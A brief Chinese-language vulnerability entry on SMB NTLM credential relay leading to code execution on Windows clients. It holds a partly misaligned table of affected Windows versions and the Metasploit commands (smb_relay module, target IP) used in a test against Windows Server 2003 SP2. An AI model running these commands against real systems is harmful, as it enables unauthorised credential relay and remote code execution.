通过远程SMB服务器可以重播客户端用户的NTLM凭据在客户端计算机上执行任意代码
| Product | CPU Architecture | Version | Update | Tested |
|---|---|---|---|---|
| Windows XP | SP2 | |||
| Windows XP | SP3 | |||
| Windows Server 2003 | SP1 | |||
| Windows Server 2003 | SP2 | ✔ | ||
| Windows 2000 | SP4 | |||
| Windows Server 2008 | X64/X86 | |||
| Windows Vista | SP1 | |||
| Windows Vista |
使用msf 测试系统Windows Server 2003 SP2 x86
use exploit/windows/smb/smb_relay
set SMBHOST 192.168.1.14 #目标IP
run
